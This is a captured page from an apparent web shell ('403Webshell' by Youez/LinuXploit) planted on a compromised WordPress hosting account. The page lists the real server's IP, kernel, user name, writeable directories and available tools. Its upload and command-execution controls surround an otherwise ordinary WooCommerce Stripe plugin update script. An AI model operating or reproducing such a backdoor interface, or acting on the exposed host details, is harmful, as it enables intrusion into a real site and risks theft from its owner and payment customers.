403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.150
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/www/wp-content/plugins/woo-stripe-payment/includes/updates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/www/wp-content/plugins/woo-stripe-payment/includes/updates/update-3.3.20.php
<?php

defined( 'ABSPATH' ) || exit();

if ( function_exists( 'WC' ) ) {
	$client       = WC_Stripe_Gateway::load();
	$api_settings = stripe_wc()->api_settings;
	foreach ( array( 'live', 'test' ) as $mode ) {
		$id = $api_settings->get_option( "webhook_id_{$mode}" );
		if ( $id ) {
			$webhook = $client->webhookEndpoints->retrieve( $id );
			if ( ! is_wp_error( $webhook ) && ! in_array( '*', $webhook->enabled_events, true ) ) {
				$events = array_values( array_unique( array_merge( $webhook->enabled_events, array( 'payment_intent.requires_action' ) ) ) );
				$client->webhookEndpoints->update( $id, array( 'enabled_events' => $events ) );
				wc_stripe_log_info( sprintf( 'Webhook %s updated during version 3.3.20 update.', $id ) );
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit